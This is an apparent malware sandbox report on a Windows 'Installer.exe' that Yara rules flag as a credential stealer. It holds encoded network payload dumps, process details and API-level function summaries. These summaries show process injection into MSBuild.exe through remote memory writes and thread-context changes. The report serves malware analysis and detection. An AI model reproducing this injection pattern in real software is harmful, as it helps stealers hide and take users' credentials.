+f+IBqaRnTD5dUPQXZEdDeyek8n7DsJMlDYE9McKrzeKWvk0kfYdsD0FRlBd9wiMjf82mZyNwXmF1sECgou9dpvbKVVmYc0gXkJTt8uWnx+vjncqym8ybNa1M6TnO9slW+xZNQaRD3F9dncWXeVIak1Ldvr6jPG5IwciB+Y77oYNL1gEhHJKtG4FdLebMM8K31ynmCyNI582ZMJXdYlcdVms6XTU8V/kXuaE9ZinLPrIO9Opqi2SjvSUglaE6n1
2024-12-27 22:13:47 UTC	1369	IN	Data Raw: 6e 45 47 4d 4c 39 51 2f 50 51 57 68 34 33 57 54 4a 35 4d 48 53 62 70 47 47 38 44 50 76 58 6e 35 42 56 6d 4f 47 77 56 53 56 38 4f 39 46 5a 41 72 75 45 63 49 37 55 45 75 65 54 76 62 4a 79 66 35 6e 32 36 62 53 52 76 64 76 56 44 30 75 53 72 2f 45 65 34 76 69 39 58 4a 43 4d 73 34 44 34 6c 31 76 61 4b 74 53 78 36 76 59 34 30 62 63 6e 36 77 41 36 6d 5a 67 49 43 35 34 6e 62 52 7a 73 66 65 7a 64 57 49 34 36 54 4c 6f 63 6c 39 6a 70 46 4c 31 72 75 65 30 61 70 36 57 72 52 6e 75 61 33 34 45 54 57 76 4a 7a 43 4f 39 37 71 64 30 62 6a 69 72 51 38 64 53 62 47 57 4c 66 35 44 54 34 72 59 35 74 64 37 2f 47 38 31 2b 45 56 78 56 63 35 7a 50 51 4d 44 77 69 6e 59 54 46 2f 63 34 38 48 52 39 59 6f 5a 75 2f 66 6d 62 79 58 43 73 70 2b 67 49 77 6d 4a 52 46 6d 39 71 6f 38 56 4a 74 38 Data Ascii: nEGML9Q/PQWh43WTJ5MHSbpGG8DPvXn5BVmOGwVSV8O9FZAruEcI7UEueTvbJyf5n26bSRvdvVD0uSr/Ee4vi9XJCMs4D4l1vaKtSx6vY40bcn6wA6mZgIC54nbRzsfezdWI46TLocl9jpFL1rue0ap6WrRnua34ETWvJzCO97qd0bjirQ8dSbGWLf5DT4rY5td7/G81+EVxVc5zPQMDwinYTF/c48HR9YoZu/fmbyXCsp+gIwmJRFm9qo8VJt8
2024-12-27 22:13:47 UTC	1369	IN	Data Raw: 46 63 74 46 38 45 49 78 63 4a 31 42 31 64 54 69 77 6d 32 48 77 65 73 5a 34 48 46 31 49 31 64 56 77 50 55 67 6d 2b 6d 53 66 68 30 66 34 41 44 67 64 54 73 46 72 6d 6e 6f 31 63 54 46 4f 4c 4f 58 36 78 7a 57 52 47 6b 56 61 33 79 57 31 6d 53 2f 39 61 56 52 57 41 44 64 4c 75 31 52 5a 57 4f 64 64 4f 6a 4c 77 73 73 77 6f 38 62 38 46 2b 42 42 61 6c 77 71 58 5a 47 7a 4f 73 2f 59 68 58 78 71 4a 4e 59 5a 35 30 63 2f 41 4c 6c 61 38 76 4c 46 34 30 75 4b 73 39 59 43 31 6c 68 4f 45 55 35 64 6f 4f 64 62 6a 50 57 46 61 45 59 66 77 7a 48 48 52 57 78 43 75 30 72 63 35 38 57 79 5a 4a 32 2b 38 6a 62 44 55 68 4d 65 58 46 36 33 74 6b 4b 44 77 71 30 50 53 54 2f 58 4a 4f 45 6a 53 32 48 65 57 39 44 73 38 75 64 47 75 70 6a 4d 49 50 5a 37 45 6a 42 35 4b 73 66 59 51 35 65 7a 2f 52 5a Data Ascii: FctF8EIxcJ1B1dTiwm2HwesZ4HF1I1dVwPUgm+mSfh0f4ADgdTsFrmno1cTFOLOX6xzWRGkVa3yW1mS/9aVRWADdLu1RZWOddOjLwsswo8b8F+BBalwqXZGzOs/YhXxqJNYZ50c/ALla8vLF40uKs9YC1lhOEU5doOdbjPWFaEYfwzHHRWxCu0rc58WyZJ2+8jbDUhMeXF63tkKDwq0PST/XJOEjS2HeW9Ds8udGupjMIPZ7EjB5KsfYQ5ez/RZ
2024-12-27 22:13:47 UTC	1369	IN	Data Raw: 5a 45 37 54 48 61 49 5a 34 62 2b 31 38 4a 68 77 70 62 59 4a 64 56 4a 55 42 35 58 59 34 57 30 66 61 76 7a 76 45 31 4a 65 4f 77 63 38 6c 31 66 64 4b 46 70 33 64 65 4a 36 6b 79 4c 78 64 49 52 34 45 64 79 4e 58 64 56 68 4f 68 36 79 4e 50 30 5a 78 6b 61 34 44 6d 55 59 56 39 34 6a 47 2f 53 72 66 50 52 52 4b 57 66 33 54 54 30 66 6c 49 45 64 32 47 62 79 46 79 79 35 59 68 4b 48 68 62 63 51 4d 5a 53 5a 33 61 31 59 4d 66 32 31 66 56 71 75 35 58 36 46 65 70 38 64 78 68 30 54 37 6e 6c 55 38 33 59 69 33 52 5a 4d 76 63 66 36 55 41 39 51 64 74 77 38 71 37 46 73 45 71 5a 6c 64 41 6c 31 55 6c 51 48 6c 64 6a 68 62 52 39 71 73 71 78 56 6d 52 6d 37 52 65 51 56 57 39 32 6d 57 72 36 32 50 33 63 65 62 2f 41 7a 52 37 4a 62 42 4d 32 66 30 32 32 34 58 57 71 36 59 35 76 48 52 75 71 Data Ascii: ZE7THaIZ4b+18JhwpbYJdVJUB5XY4W0favzvE1JeOwc8l1fdKFp3deJ6kyLxdIR4EdyNXdVhOh6yNP0Zxka4DmUYV94jG/SrfPRRKWf3TT0flIEd2GbyFyy5YhKHhbcQMZSZ3a1YMf21fVqu5X6Fep8dxh0T7nlU83Yi3RZMvcf6UA9Qdtw8q7FsEqZldAl1UlQHldjhbR9qsqxVmRm7ReQVW92mWr62P3ceb/AzR7JbBM2f0224XWq6Y5vHRuq
2024-12-27 22:13:47 UTC	1369	IN	Data Raw: 30 49 71 30 54 58 39 65 50 52 52 72 72 61 77 6c 2f 30 55 58 4d 69 57 56 79 59 79 47 4f 42 39 2f 46 4f 48 41 4c 73 48 2f 5a 37 65 6c 79 47 51 4d 58 6f 36 72 64 76 72 4c 4c 59 49 2b 73 2f 54 6a 78 56 4b 6f 66 58 56 4a 76 4c 68 6b 78 78 48 2f 45 43 36 33 55 34 43 61 55 56 36 65 6a 54 77 48 79 36 70 63 74 43 36 48 4a 72 51 48 68 7a 78 4f 38 70 67 37 65 59 43 78 6f 6a 6f 68 72 53 61 48 70 57 6f 6c 4c 61 35 4d 72 2b 53 6f 61 43 31 44 4c 52 5a 32 59 75 62 48 61 79 31 46 32 6f 7a 4a 31 4f 5a 6d 54 76 42 76 5a 53 58 32 61 4e 56 50 76 75 32 4d 46 35 69 72 4c 72 48 64 68 52 53 43 46 57 59 34 54 65 50 72 58 56 74 6c 4e 6a 50 61 67 76 6d 32 4a 52 5a 4c 55 58 32 66 71 44 37 54 32 4e 73 76 6f 69 78 56 51 4c 4f 55 73 79 73 38 4e 54 6e 38 69 48 62 42 31 6c 6f 30 4c 58 58 Data Ascii: 0Iq0TX9ePRRrrawl/0UXMiWVyYyGOB9/FOHALsH/Z7elyGQMXo6rdvrLLYI+s/TjxVKofXVJvLhkxxH/EC63U4CaUV6ejTwHy6pctC6HJrQHhzxO8pg7eYCxojohrSaHpWolLa5Mr+SoaC1DLRZ2YubHay1F2ozJ1OZmTvBvZSX2aNVPvu2MF5irLrHdhRSCFWY4TePrXVtlNjPagvm2JRZLUX2fqD7T2NsvoixVQLOUsys8NTn8iHbB1lo0LXX
2024-12-27 22:13:47 UTC	1369	IN	Data Raw: 52 6a 64 62 4b 34 6c 69 43 71 50 63 35 6c 6e 31 55 49 6b 42 79 70 2f 42 72 6d 4f 75 78 61 56 34 64 6f 69 57 57 4a 56 4e 77 75 46 66 37 36 74 6d 7a 66 4c 71 67 71 79 57 57 62 58 45 46 65 47 71 73 72 55 4f 51 79 34 78 52 47 44 2f 4c 54 2f 46 78 65 33 2b 65 63 49 71 76 68 4c 5a 77 70 63 4b 76 47 2b 56 70 46 43 73 31 57 71 72 6e 49 62 7a 45 72 48 78 66 4a 63 6b 46 7a 47 6f 38 51 4b 5a 54 38 4b 76 36 30 6b 2b 72 74 2b 73 39 6b 7a 39 6f 48 57 78 7a 6c 4e 64 6b 6e 64 65 53 46 56 6b 46 36 54 7a 50 4a 31 74 77 6f 47 62 77 72 2f 2b 33 52 4a 32 79 7a 52 4c 6d 4f 47 30 64 53 30 33 49 78 43 50 42 32 76 31 4e 65 57 58 39 41 2b 56 33 54 55 47 37 45 63 6e 6c 69 63 78 48 73 59 66 54 52 65 56 2b 46 30 4a 33 56 4b 4c 53 66 70 6a 51 69 42 5a 63 48 65 38 5a 77 46 31 6b 53 49 Data Ascii: RjdbK4liCqPc5ln1UIkByp/BrmOuxaV4doiWWJVNwuFf76tmzfLqgqyWWbXEFeGqsrUOQy4xRGD/LT/Fxe3+ecIqvhLZwpcKvG+VpFCs1WqrnIbzErHxfJckFzGo8QKZT8Kv60k+rt+s9kz9oHWxzlNdkndeSFVkF6TzPJ1twoGbwr/+3RJ2yzRLmOG0dS03IxCPB2v1NeWX9A+V3TUG7EcnlicxHsYfTReV+F0J3VKLSfpjQiBZcHe8ZwF1kSI

Target ID:	0
Start time:	17:13:20
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\Installer.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Installer.exe"
Imagebase:	0x340000
File size:	577'064 bytes
MD5 hash:	0CEBF27D0066D6EA5653547254E236E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	17:13:20
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:13:21
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\Installer.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Installer.exe"
Imagebase:	0x340000
File size:	577'064 bytes
MD5 hash:	0CEBF27D0066D6EA5653547254E236E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:13:21
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\Installer.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Installer.exe"
Imagebase:	0x340000
File size:	577'064 bytes
MD5 hash:	0CEBF27D0066D6EA5653547254E236E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.1835675481.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.1835591588.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.1835591588.0000000003559000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.1835776038.000000000356C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.1835776038.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.1835675481.000000000355D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.1874516417.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	6.6%
Dynamic/Decrypted Code Coverage:	0.4%
Signature Coverage:	5.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	16

Executed Functions

Function 0037A19E Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,0037A110,0037A100), ref: 0037A334
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 0037A347
Wow64GetThreadContext.KERNEL32(000002B8,00000000), ref: 0037A365
ReadProcessMemory.KERNELBASE(000002B4,?,0037A154,00000004,00000000), ref: 0037A389
VirtualAllocEx.KERNELBASE(000002B4,?,?,00003000,00000040), ref: 0037A3B4
TerminateProcess.KERNELBASE(000002B4,00000000), ref: 0037A3D3
WriteProcessMemory.KERNELBASE(000002B4,00000000,?,?,00000000,?), ref: 0037A40C
WriteProcessMemory.KERNELBASE(000002B4,00400000,?,?,00000000,?,00000028), ref: 0037A457
WriteProcessMemory.KERNELBASE(000002B4,?,?,00000004,00000000), ref: 0037A495
Wow64SetThreadContext.KERNEL32(000002B8,032B0000), ref: 0037A4D1
ResumeThread.KERNELBASE(000002B8), ref: 0037A4E0

Strings

GetThreadContext, xrefs: 0037A276
ReadProcessMemory, xrefs: 0037A289
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 0037A333
WriteProcessMemory, xrefs: 0037A2AF
SetThreadContext, xrefs: 0037A2C2
CreateProcessW, xrefs: 0037A250
aryA, xrefs: 0037A1E2
ResumeThread, xrefs: 0037A2D8
Load, xrefs: 0037A1DA
ress, xrefs: 0037A226
VirtualAllocEx, xrefs: 0037A29C
VirtualAlloc, xrefs: 0037A263
GetP, xrefs: 0037A21E
TerminateProcess, xrefs: 0037A3C3

Memory Dump Source

Source File: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResumeTerminate
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2440066154-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: 549bc118f5f50fd8d8a5eb605d7098f349ce8d303b309335ae4d8d0457d2ed12
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: 6BB1077660064AAFDB60CF68CC80BDA73A5FF88714F158524EA0CAB341D774FA51CB94

Function 00341FB0 Relevance: 9.2, APIs: 6, Instructions: 200
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00341240: _strlen.LIBCMT ref: 003412BA

CreateFileA.KERNELBASE ref: 00342036
GetFileSize.KERNEL32(00000000,00000000), ref: 00342046
ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000), ref: 0034206B
CloseHandle.KERNELBASE(00000000), ref: 0034207A
_strlen.LIBCMT ref: 003420CD
CloseHandle.KERNEL32(00000000), ref: 003421FD

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: File$CloseHandle_strlen$CreateReadSize
String ID:
API String ID: 2911764282-0
Opcode ID: 5f51098b35952cafcf61c8b906805e299bb77ce8e53e764ba8c0260528e33cd9
Instruction ID: b9aa5d24326e26988dc5b3429dede176647a62f2cdeb772af169db629587cc50
Opcode Fuzzy Hash: 5f51098b35952cafcf61c8b906805e299bb77ce8e53e764ba8c0260528e33cd9
Instruction Fuzzy Hash: 5471D0B2C006089BCB12DFA4DC45BAEBBF5BF48314F150629F814BB391E775A945CBA1

Function 00341000 Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

p6, xrefs: 0034101E

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID:
String ID: p6
API String ID: 0-3779050237
Opcode ID: 49ee100148ccc27d6c9ebe680740623eb26d6e5a5534ca1fbd75a656a07f8329
Instruction ID: 121275928345a6242f5c1eb7cc2ab4c0b1a98f26b4e9bbe64ee32d7356dcc964
Opcode Fuzzy Hash: 49ee100148ccc27d6c9ebe680740623eb26d6e5a5534ca1fbd75a656a07f8329
Instruction Fuzzy Hash: 9E214C336105650B87AE9F386D62037FBCADBC66A0706573EED129F2D1E521ED9082E4

Function 003424B0 Relevance: 10.6, APIs: 7, Instructions: 83
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNELBASE ref: 003424DD
ShowWindow.USER32(00000000,00000000), ref: 003424E6
GetCurrentThreadId.KERNEL32 ref: 00342524

Part of subcall function 0034F11D: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,?,?,?,0034253A,?,?,00000000), ref: 0034F129
Part of subcall function 0034F11D: GetExitCodeThread.KERNEL32(?,00000000,?,?,0034253A,?,?,00000000), ref: 0034F142
Part of subcall function 0034F11D: CloseHandle.KERNEL32(?,?,?,0034253A,?,?,00000000), ref: 0034F154

std::_Throw_Cpp_error.LIBCPMT ref: 00342567
std::_Throw_Cpp_error.LIBCPMT ref: 00342578
std::_Throw_Cpp_error.LIBCPMT ref: 00342589
std::_Throw_Cpp_error.LIBCPMT ref: 0034259A

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$ThreadWindow$CloseCodeConsoleCurrentExitHandleObjectShowSingleWait
String ID:
API String ID: 3956949563-0
Opcode ID: 3ccacfe30d1597e36426a3c35a6b90c606c3be31d44b7d1fbfa4157e2295af21
Instruction ID: 2c8a740766a7d515d8ecb75ffee1ce2b2aa4b59a0e0ed38ab1b06a6d59380b5c
Opcode Fuzzy Hash: 3ccacfe30d1597e36426a3c35a6b90c606c3be31d44b7d1fbfa4157e2295af21
Instruction Fuzzy Hash: 472174F2D402159BDF12AF949C06BDFBAF8AF04710F080165F9087E291E7B6B554CBA6

Function 0035CF0B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,C82EE5EC,?,0035D01A,?,?,00000000), ref: 0035CFCC

Strings

api-ms-, xrefs: 0035CF62
ext-ms-, xrefs: 0035CF76

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: f8608a2687a9ae2a0c022313fa8d6f8727e5bc3deecbbd76761d8a31658c17cb
Instruction ID: 657c2cce6cffb0c270b6987f3b3fe28868177f020f009fd6f6d6db500577adeb
Opcode Fuzzy Hash: f8608a2687a9ae2a0c022313fa8d6f8727e5bc3deecbbd76761d8a31658c17cb
Instruction Fuzzy Hash: 2F210231A11711AFCB338B64DC51E5AB76EDF4176AF261111ED0AA72A0DB30ED08CBD0

Function 00341750 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 390
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 00341783

Strings

ios_base::eofbit set, xrefs: 00341BEA
ios_base::badbit set, xrefs: 00341BFA, 00341C20
ios_base::failbit set, xrefs: 00341BEF

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: _strlen
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 4218353326-1866435925
Opcode ID: d4a94234ed542104b119ea23f373db50e851b77d5e07e24ec0e111e51fadfaba
Instruction ID: b625be1e48f712ee84b018ff9c3f3d4fb87f9ac7a8671f9ac160f1f809bd0e52
Opcode Fuzzy Hash: d4a94234ed542104b119ea23f373db50e851b77d5e07e24ec0e111e51fadfaba
Instruction Fuzzy Hash: 35F15D75A006148FCB15CF68C494BADBBF1FF89324F198269E819AF3A1D734AD45CB90

Function 00355349 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,Function_00015470,00000000,00000000,00000000), ref: 00355392
GetLastError.KERNEL32(?,?,?,00342513,00000000,00000000), ref: 0035539E
__dosmaperr.LIBCMT ref: 003553A5

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: 7c99d49529a3bcfb818fe5a5c096705d4b2a107e668ff2d2892371778c6e7329
Instruction ID: 51200e127d9a59d3b2cb019620444210284cc305e891e306595191c84559498d
Opcode Fuzzy Hash: 7c99d49529a3bcfb818fe5a5c096705d4b2a107e668ff2d2892371778c6e7329
Instruction Fuzzy Hash: E4019276501619EBDF179FA0DC26EAE3B68FF00392F114058FC0596160EBB0E944DB50

Function 003554EE Relevance: 4.5, APIs: 3, Instructions: 30
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0035C2BB: GetLastError.KERNEL32(00000000,?,003576E9,0035D306,?,?,0035C1B7,00000001,00000364,?,00000006,000000FF,?,00355495,00378E38,0000000C), ref: 0035C2BF
Part of subcall function 0035C2BB: SetLastError.KERNEL32(00000000), ref: 0035C361

CloseHandle.KERNEL32(?,?,?,003553D9,?,?,003554CE,00000000), ref: 0035551F
FreeLibraryAndExitThread.KERNELBASE(?,?,?,?,003553D9,?,?,003554CE,00000000), ref: 00355535
ExitThread.KERNEL32 ref: 0035553E

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: ErrorExitLastThread$CloseFreeHandleLibrary
String ID:
API String ID: 1991824761-0
Opcode ID: cc527fdc779240c44b05aec372e4b894cf9385f8792070b41b9bbc265583774d
Instruction ID: 3b94d71c2e412fbcd7040ae1c774d58fa221bb031bcdb9214b2b1a7ced47f1cf
Opcode Fuzzy Hash: cc527fdc779240c44b05aec372e4b894cf9385f8792070b41b9bbc265583774d
Instruction Fuzzy Hash: 5FF05470100F016BDB335B759829E1A3A9AAF02372F0A4E14FC6BC70B0EB20FD4A8750

Function 0035565F Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000002,?,00355721,00358396,00358396,?,00000002,C82EE5EC,00358396,00000002), ref: 00355670
TerminateProcess.KERNEL32(00000000,?,00355721,00358396,00358396,?,00000002,C82EE5EC,00358396,00000002), ref: 00355677
ExitProcess.KERNEL32 ref: 00355689

Memory Dump Source

